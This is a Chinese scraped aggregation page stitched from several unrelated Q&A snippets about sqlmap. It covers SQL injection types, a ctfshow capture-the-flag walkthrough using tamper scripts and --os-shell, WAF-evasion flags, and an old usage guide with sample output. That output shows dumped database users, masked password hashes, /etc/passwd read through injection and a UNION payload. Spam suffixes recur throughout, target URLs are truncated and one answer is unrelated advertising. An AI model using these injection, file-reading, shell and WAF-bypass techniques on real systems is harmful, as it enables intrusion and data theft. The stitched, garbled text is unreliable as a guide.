本文目录一览:
- 1、sqlmap会产生垃圾数据吗
- 2、php怎么用sqlmap写shell
- 3、ctfshow-SQL注入篇[Web201-Web213 sqlmap使用]
- 4、sqlmap一跑就死,怎么注入
- 5、利用sqlmap注入时,发现站点对空格进行了过滤,可以使用什么脚本来绕过
- 6、安装sqlmap时出现的问题 最后出现 No module named thirdparty.clientform.clientform
sqlmap会产生垃圾数据吗
sqlmap不会产生垃圾数据。
sqlmap是一款开源免费的漏洞检查、利用工具。
可以检测页面中get,post参数,cookie,http头等。
可以实现数据榨取。
可以实现文件系统的访问。
可以实现操作命令的执行。
还可以对xss漏洞进行检测。
sqlmap 支持5种漏洞检测类型:
基于布尔的盲注检测 (如果一个url的地址为xxxx.php?id=1,那么我们可以尝试下的加上 and 1=1(和没加and1=1结果保持一致) 和 and 1=2(和不加and1=2结果不一致),则我们基本可以确定是存在布尔注入的。 )-phpsqlmap
基于时间的盲注检测(和基于布尔的检测有些类似.通过mysql的 sleep(int)) 来观察浏览器的响应是否等待了你设定的那个值 如果等待了,则表示执行了sleep,则基本确定是存在sql注入的
基于union联合查询的检测(适用于如果某个web项目对查询结果只展示一条而我们需要多条的时候 则使用union联合查询搭配concat还进行获取更多的信息)
基于堆叠查询的检测(首先看服务器支不支持多语句查询,一般服务器sql语句都是写死的,某些特定的地方用占位符来接受用户输入的变量,这样即使我们加and 也只能执行select(也不一定select,主要看应用场景,总之就是服务端写了什么,你就能执行什么)查询语句,如果能插入分号;则我们后面可以自己组合update,insert,delete等语句来进行进一步操作)-phpsqlmap
php怎么用sqlmap写shell
楼主你可以不用在这里提问的,直接去找后盾人就可以,因为他那里的有专业的视频解释,而且非常详细,多看几遍就会懂了
ctfshow-SQL注入篇[Web201-Web213 sqlmap使用]
参考:
开始sqlmap的使用,提示使用 --refer 绕过refer检查:
注意,最后一句不加 --dump 会直接把数据写入文件中,不显示在终端上。
提示如下:
提示如下:
提示需要api鉴权:
可以看到,每次请求之前会进行如下url的调用:
最终的命令如下:
提示我们需要闭合:
查询语句中也的确是这样的:
不过sqlmap会帮我们处理这个,所以不需要在意,命令和上一题一样:
对传入的参数开始过滤了,使用tamper应对。
这一题过滤了空格,可以使用注释进行绕过,使用sqlmap自带的space2comment.py进行绕过:
space2comment.py如下:
当然也可以使用 %09 之类的来进行绕过。
对小写的 select 和空格进行了绕过,不过sqlmap中的select都是大写的,所以和上一题一样即可:
过滤了空格,*号和等号,使用 %09 绕过空格,使用 like 绕过等号,基于此改一下tamper即可:
命令如下:
base64和反转字符串连着来,按着逻辑写脚本即可:
命令如下:
多加了一个空格过滤,用注释绕过:
命令如下:
除了base64和反转字符串,还过滤了空格和*号,那么使用 %09 绕过空格:
命令如下:
提示了使用 --os-shell :
–os-shell 其本质是写入两个shell文件,其中一个可以命令执行,另一个则是可以让我们上传文件;
不过也是有限制的,上传文件我们需要受到两个条件的限制,一个是网站的绝对路径,另一个则是导入导出的权限
在mysql中,由 secure_file_priv 参数来控制导入导出权限,该参数后面为null时,则表示不允许导入导出;如果是一个文件夹,则表示仅能在这个文件夹中导入导出;如果参数后面为空,也就是没有值时,则表示在任何文件夹都能导入导出-phpsqlmap
命令如下:
如图,获得了shell:
上图中出现了两个php文件,分别是tmpbvrci.php和tmpuuvbo.php,这就是前面所提到的sqlmap上传的两个shell文件。
tmpbvrci.php用于命令执行:
而tmpuuvbo.php用于文件上传:
获得flag:
sqlmap一跑就死,怎么注入
安装sqlmap
解压下载的sqlmap压缩包,里面是sqlmap源码,无需安装,可直接使用
使用sqlmap
对于存在漏洞的url如:
打开cmd在sqlmap目录下输入如下语句:python sqlmap.py -u
利用sqlmap注入时,发现站点对空格进行了过滤,可以使用什么脚本来绕过
0x00 前言
现在的网络环境往往是WAF/IPS/IDS保护着Web 服务器等等,这种保护措施往往会过滤挡住我们的SQL注入查询链接,甚至封锁我们的主机IP,所以这个时候,我们就要考虑怎样进行绕过,达到注入的目标。因为现在WAF/IPS/IDS都把sqlmap 列入黑名单了,呵呵!但是本文基于sqlmap 进行绕过注入测试,介绍至今仍然实用有效的技巧,以下策略在特定的环境能够成功绕过,具体是否绕过,请仔细查看输出的信息。-phpsqlmap
0x01 确认WAF
首先我们判断该Web 服务器是否被WAF/IPS/IDS保护着。这点很容易实现,因为我们在漏扫或者使用专门工具来检测是否有WAF,这个检测,在nmap 的NSE,或者WVS的策略或者APPSCAN的策略中都有,我们可以利用这些来判断。在此我们,也介绍使用sqlmap 进行检测是否有WAF/IPS/IDS-phpsqlmap
root@kali:~# sqlmap -u ";types=4" --thread 10 --identify-waf#首选
root@kali:~# sqlmap -u ";types=4" --thread 10 --check-waf#备选
0x02 使用参数进行绕过
root@kali:~# sqlmap -u ";types=4" --random-agent -v 2 #使用任意浏览器进行绕过,尤其是在WAF配置不当的时候
root@kali:~# sqlmap -u ";types=4" --hpp -v 3#使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上
root@kali:~# sqlmap -u ";types=4" --delay=3.5 --time-sec=60 #使用长的延时来避免触发WAF的机制,这方式比较耗时
root@kali:~# sqlmap -u ";types=4" --proxy=211.211.211.211:8080 --proxy-cred=211:985#使用代理进行注入
安装sqlmap时出现的问题 最后出现 No module named thirdparty.clientform.clientform
昨天晚上实在忍不住,还是看了一些,然后测试了一下。里面的sql语句太过于简单,不过你可以定制。修改为更富在的语句。以绕过注入检测和其他IDS设 备。 稍晚一下,我编译一个dos版本的给你们。
1、首先安装python2.5。 2、然后进入sqlmap的目录,执行sqlmap
详细用法
1、sqlmap -u 注入点 2、sqlmap -g "关键词“ //这是通过google搜索注入,现在还不可以,不知道是什么原因,可以直接修改为百度 3、 python sqlmap.py -u ";cat=2" -v 1-phpsqlmap
[hh:mm:25] [INFO] testing if the url is stable, wait a few seconds [hh:mm:26] [INFO] url is stable [hh:mm:26] [INFO] testing if GET parameter 'id' is dynamic [hh:mm:26] [INFO] confirming that GET parameter 'id' is dynamic [hh:mm:26] [INFO] GET parameter 'id' is dynamic [hh:mm:26] [INFO] testing sql injection on GET parameter 'id' [hh:mm:26] [INFO] testing numeric/unescaped injection on GET parameter 'id' [hh:mm:26] [INFO] confirming numeric/unescaped injection on GET parameter 'id' [hh:mm:26] [INFO] GET parameter 'id' is numeric/unescaped injectable [hh:mm:26] [INFO] testing MySQL [hh:mm:26] [INFO] query: CONCAT('5', '5') [hh:mm:26] [INFO] retrieved: 55 [hh:mm:26] [INFO] performed 20 queries in 0 seconds [hh:mm:26] [INFO] confirming MySQL [hh:mm:26] [INFO] query: LENGTH('5') [hh:mm:26] [INFO] retrieved: 1 [hh:mm:26] [INFO] performed 13 queries in 0 seconds [hh:mm:26] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1 [hh:mm:26] [INFO] retrieved: 5 [hh:mm:26] [INFO] performed 13 queries in 0 seconds remote DBMS: MySQL = 5.0.0-phpsqlmap
4、指定参数注入
python sqlmap.py -u ";cat=2" -v 1 -p "id"
[hh:mm:17] [INFO] testing if the url is stable, wait a few seconds [hh:mm:18] [INFO] url is stable [hh:mm:18] [INFO] testing sql injection on parameter 'id' [hh:mm:18] [INFO] testing numeric/unescaped injection on parameter 'id' [hh:mm:18] [INFO] confirming numeric/unescaped injection on parameter 'id' [hh:mm:18] [INFO] parameter 'id' is numeric/unescaped injectable [...]-phpsqlmap
Or if you want to provide more than one parameter, for instance:
$ python sqlmap.py -u ";cat=2" -v 1 -p "cat,id"
5、指定方法和post的数据 python sqlmap.py -u "" --method "POST" -- data "id=1cat=2"
6、指定cookie,可以注入一些需要登录的地址 python sqlmap.py -u ";cat=2" --cookie "COOKIE_VALUE"
7、通过代理注入 python sqlmap.py -u ";cat=2" --proxy "" 8、指定关键词,也可以不指定。程序会根据返回结果的hash自动判断 python sqlmap.py -u ";cat=2" --string "STRING_ON_TRUE_PAGE" 9、指定数据,这样就不用猜测其他的数据库里。可以提高效率。 --remote-dbms 10、指纹判别数据库类型 python sqlmap.py -u ";cat=2" -v 1 -f 11、获取banner信息 python sqlmap.py -u ";cat=2" -b-phpsqlmap
banner: '5.0.38-Ubuntu_0ubuntu1.1-log'
12、获取当前数据库,当前用户,所有用户,密码,所有可用数据库。 python sqlmap.py -u ";cat=2" -- current-db
current database: 'testdb'
python sqlmap.py -u ";cat=2" --users
database management system users [5]: [*] 'debian-sys-maint'@'localhost' [*] 'root'@'127.0.0.1' [*] 'root'@'leboyer' [*] 'root'@'localhost' [*] 'testuser'@'localhost'-phpsqlmap
python sqlmap.py -u ";cat=2" -- passwords
database management system users password hashes: [*] debian-sys-maint [1]: password hash: *XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX [*] root [1]: password hash: *YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY [*] testuser [1]: password hash: *ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ-phpsqlmap
python sqlmap.py -u ";cat=2" --dbs
available databases [3]: [*] information_schema [*] mysql [*] testdb
python sqlmap.py -u ";cat=2" --tables -D "information_schema"
Database: information_schema [16 tables] +---------------------------------------+ | CHARACTER_SETS | | COLLATION_CHARACTER_SET_APPLICABILITY | | COLLATIONS | | COLUMN_PRIVILEGES | | COLUMNS | | KEY_COLUMN_USAGE | | ROUTINES | | SCHEMA_PRIVILEGES | | SCHEMATA | | STATISTICS | | TABLE_CONSTRAINTS | | TABLE_PRIVILEGES | | TABLES | | TRIGGERS | | USER_PRIVILEGES | | VIEWS | +---------------------------------------+-phpsqlmap
python sqlmap.py -u ";cat=2" -- columns -T "user" -D "mysql"
Database: mysql Table: user [37 columns] +-----------------------+------+ | Column | Type | +-----------------------+------+ | Alter_priv | enum | | Alter_routine_priv | enum | | Create_priv | enum | | Create_routine_priv | enum | | Create_tmp_table_priv | enum | | Create_user_priv | enum | | Create_view_priv | enum | | Delete_priv | enum | | Drop_priv | enum | | Execute_priv | enum | | File_priv | enum | | Grant_priv | enum | | Host | char | | Index_priv | enum | | Insert_priv | enum | | Lock_tables_priv | enum | | max_connections | int | | max_questions | int | | max_updates | int | | max_user_connections | int | | Password | char | | Process_priv | enum | | References_priv | enum | | Reload_priv | enum | | Repl_client_priv | enum | | Repl_slave_priv | enum | | Select_priv | enum | | Show_db_priv | enum | | Show_view_priv | enum | | Shutdown_priv | enum | | ssl_cipher | blob | | ssl_type | enum | | Super_priv | enum | | Update_priv | enum | | User | char | | x509_issuer | blob | | x509_subject | blob | +-----------------------+------+-phpsqlmap
13、显示指定的文件内容,一般用于php python sqlmap.py -u ";cat=2" --file / etc/passwd
/etc/passwd: --- root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/false backup:x:34:34:backup:/var/backups:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false postgres:x:105:107:PostgreSQL administrator,,,:/var/lib/postgresql:/ bin/bash inquis:x:1000:100:Bernardo Damele,,,:/home/inquis:/bin/bash ----phpsqlmap
14、执行你自己的sql语句。
python sqlmap.py -u ";cat=2" -v 1 -e "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1"-phpsqlmap
[hh:mm:18] [INFO] fetching expression output: 'SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1' [hh:mm:18] [INFO] query: SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1 [hh:mm:18] [INFO] retrieved: YYYYYYYYYYYYYYYY [hh:mm:19] [INFO] performed 118 queries in 0 seconds SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1: 'YYYYYYYYYYYYYYYY'-phpsqlmap
15、union注入 python sqlmap.py -u ";cat=2" --union- check
valid union: ' UNION ALL SELECT NULL, NULL, NULL--cat=2'
python sqlmap.py -u ";cat=2" -v 1 -- union-use --banner
[...] [hh:mm:24] [INFO] testing inband sql injection on parameter 'id' [hh:mm:24] [INFO] the target url could be affected by an inband sql injection vulnerability [hh:mm:24] [INFO] confirming inband sql injection on parameter 'id' [...] [hh:mm:24] [INFO] fetching banner [hh:mm:24] [INFO] request: UNION ALL SELECT CONCAT(CHAR(95,95,83,84,65,82,84,95,95), VERSION(), CHAR(95,95,83,84,79,80,95,95)), NULL, NULL--cat=2 [hh:mm:24] [INFO] performed 1 queries in 0 seconds banner: '5.0.38-Ubuntu_0ubuntu1.1-log'-phpsqlmap
16、保存注入过程到一个文件,还可以从文件恢复出注入过程,很方便,一大特色。你可以在注入的时候中断,有时间再继续。 python sqlmap.py -u ";cat=2" -v 1 -b - o "sqlmap.log"-phpsqlmap
[...] [hh:mm:09] [INFO] fetching banner [hh:mm:09] [INFO] query: VERSION() [hh:mm:09] [INFO] retrieved: 5.0.30-Debian_3-log [hh:mm:11] [INFO] performed 139 queries in 1 seconds banner: '5.0.38-Ubuntu_0ubuntu1.1-log'-phpsqlmap
python sqlmap.py -u ";cat=2" -v 1 -- banner -o "sqlmap.log" --resume
[...] [hh:mm:13] [INFO] fetching banner [hh:mm:13] [INFO] query: VERSION() [hh:mm:13] [INFO] retrieved the length of query: 26 [hh:mm:13] [INFO] resumed from file 'sqlmap.log': 5.0.45-Deb [hh:mm:13] [INFO] retrieved: ian_1ubuntu3-log banner:-phpsqlmap